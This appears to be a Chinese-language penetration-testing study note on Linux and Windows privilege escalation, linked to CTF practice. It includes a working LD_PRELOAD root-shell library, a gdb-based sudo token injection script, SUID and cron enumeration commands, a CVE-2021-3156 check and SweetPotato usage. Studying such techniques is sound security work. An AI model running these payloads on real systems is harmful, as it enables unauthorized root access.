前言
参考:
https://www.freebuf.com/articles/system/377304.html
https://www.cnblogs.com/yokan/p/16300797.html
https://www.cnblogs.com/yuy0ung/articles/18421480
提权辅助工具:https://github.com/mzfr/gtfo
Linux提权
sudo提权
在 Linux/Unix 中,/etc/sudoers 文件是 sudo 权限的配置文件,其中储存了一些用户或组可以以 root 权限使用的命令
查看当前 sudo 权限
sudo -l
读取配置文件(需要高权限)
cat /etc/sudoers
权限配置不当
当配置普通用户 sudo 权限时,设置了免密的 sudo 用户,即该用户不需要输入口令即可执行特权命令
利用思路:
- 免密使用 sudo 权限执行某些命令,重新获取一个 root 身份的shell
- 某些工具允许免密 sudo 运行,且能够运行脚本/配置文件,可以修改脚本/配置文件实现获取一个 root 身份的shell
- 免密使用 sudo 权限执行某些命令,获取 /etc/shadow 第一行 root 的密码哈希,再进行爆破获取明文密码
- 免密使用 sudo 权限执行某些命令,用新的 root 密码哈希覆盖掉原本的 /etc/shadow
具体的提权方式:
脚本篡改:免密 sudo 执行某些可用的高权限脚本
脚本参数:脚本无可写权限,但是接收参数,可以以高权限执行低权限写入的脚本
绕过路径:配置 sudoers 时对目录使用了通配符,可使用
..
进行目录穿越LD_PRELOAD:需要配置
env_keep+=LD_PRELOAD
在 sudo 执行时保留 LD_PRELOAD 环境变量#include<stdio.h> #include<sys/types.h> #include<stdlib.h> void _init(){ unsetenv("LD_PRELOAD"); //不让环境变量重置,保持使用现在的共享库 setresuid(0,0,0); system("/bin/bash -p"); } // gcc -shared -fPIC -o shell.so shell.c -nostartfiles // sudo LD_PRELOAD=/tmp/shell.so 免密sudo命令
caching提权
用户第一次使用sudo命令时,系统会提示用户输入密码,然后将用户的身份验证信息缓存起来,通常在 15 分钟内(可以通过在配置文件中修改
timestamp_timeout
参数来修改缓存时间)。用户在此时间内无需再次输入密码就可以执行 sudo 命令,从而提高效率。不过,sudo 缓存也有一些安全风险。如果渗透测试人员能够获得此用户的权限,那么在 sudo 缓存时间内,他们就可以无须输入密码执行sudo命令,从而获得更高的权限sudoers文件中有三个参数与之有关,分别是
!authenticate
、timestamp_timeout=-1
和!tty_tickets
:authenticate
参数用于配置使用 sudo 命令时是否需要输入密码。如果启用了authenticate
参数,则用户在使用 sudo 命令时需要输入密码;如果禁用了authenticate
参数,则用户在使用 sudo 命令时无需输入密码。当在参数前添加符号“!”时,表示该参数被禁用timestamp_timeout
参数用于设置在使用 sudo 命令时的超时时间。如果设置了timestamp_timeout
参数,则在指定的时间间隔内,用户无需再次输入密码即可使用 sudo 命令。当timestamp_timeout
参数设置为 -1 时,意味着用户在当前终端窗口永远不需要输入密码tty_tickets
参数用于启用或禁用 TTY(teletype,终端)票据功能。如果启用了 TTY 票据功能,则用户在每个终端上执行 sudo 命令时都需要输入密码;如果禁用了 TTY 票据功能,则用户在使用 sudo 命令时只需要输入一次密码,在其他终端中无需再输入
令牌进程注入提权:https://github.com/nongiach/sudo_inject
当用户使用 sudo 执行命令后,会在
/var/run/sudo/ts
目录中创建一个带有用户名的时间戳文件。此文件包含有关用户身份验证成功或失败的信息。sudo 程序使用此信息来跟踪已通过身份验证的进程,以便在需要时提供适当的权限Linux 系统在文件
/proc/sys/kernel/yama/ptrace_scope
中配置了用于控制进程追踪(Process Tracing)的权限,进程追踪是一种调试技术,它允许一个进程检查和控制另一个进程的执行- 当文件内容为 0 时,允许所有进程被追踪;
- 当文件内容为 1 时,只允许父进程对子进程进行追踪;
- 当文件内容为 2 时,禁止所有进程被追踪。
如果当前系统的
ptrace_scope
值设置为 0,并且此时有用户使用 sudo 来执行命令,则可以尝试激活/var/lib/sudo/ts/
目录下的所有 sudo 会话的令牌,注入具有有效 sudo 令牌的进程并激活我们自己的 sudo 令牌#!/bin/sh # create an invalid sudo entry for the current shell echo | sudo -S >/dev/null 2>&1 echo "Current process : $$" cp activate_sudo_token /tmp/ chmod +x activate_sudo_token # timestamp_dir=$(sudo --version | grep "timestamp dir" | grep -o '/.*') # inject all shell belonging to the current user, our shell one :p for pid in $(pgrep '^(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$' -u "$(id -u)" | grep -v "^$$\$") do echo "Injecting process $pid -> "$(cat "/proc/$pid/comm") echo 'call system("echo | sudo -S /tmp/activate_sudo_token /var/lib/sudo/ts/* >/dev/null 2>&1")' \ | gdb -q -n -p "$pid" >/dev/null 2>&1 done
这段代码的效果是,在执行sudo命令时需要输入密码的情况下调用
/tmp/activate_sudo_token
程序,注入所有正在运行的 Shell 进程中,并传入/var/lib/sudo/ts/
目录下,所有文件的路径为此程序参数,并且不会有其他输出,直到寻找到有效的 sudo 令牌进程,最后使用此 sudo 命令激活当前进程在脚本完成注入后执行
sudo -i
即可完成提权
CVE-2021-3156
受影响版本:1.8.2 - 1.8.31p2、1.9.0 - 1.9.5p1
检验方法:
以非root用户登录系统,并运行如下命令:
sudoedit -s /
如果响应一个以
sudoedit:
开头的报错,那么表明存在漏洞。如果响应一个以
usage:
开头的报错,那么表明补丁已经生效。
题目:https://c1oudfl0w0.github.io/blog/2024/02/14/NSSCTF-Round-18/#Becomeroot-%E5%A4%8D%E7%8E%B0
suid提权
SUID (Set UID) 是 Linux 中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有 SUID 权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是 SUID 权限的设置只针对二进制可执行文件,对于非可执行文件设置 SUID 没有任何意义。
在执行过程中,调用者会暂时获得该SUID文件的所有者权限,且该权限只在程序执行的过程中有效
使用以下命令查找具有 SUID 权限位文件:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
然后参考可利用的二进制文件:https://gtfobins.github.io/
明文root密码提权
需要 /etc/shadow 可读
计划任务提权
系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出。
列出计划任务
ls -l /etc/cron*
cat /etc/crontab
寻找权限配置为 777 即 -rwxrwxrwx 的计划任务
Windows提权
可利用的二进制文件:https://lolbas-project.github.io/
SweetPotato
从Windows 7到Windows 10 / Server 2019的本地服务到系统权限提升漏洞,也是土豆家族的有一个提权漏洞
参考:https://cloud.tencent.com/developer/article/2249965
项目地址:https://github.com/CCob/SweetPotato
用法:
SweetPotato.exe -a "whoami"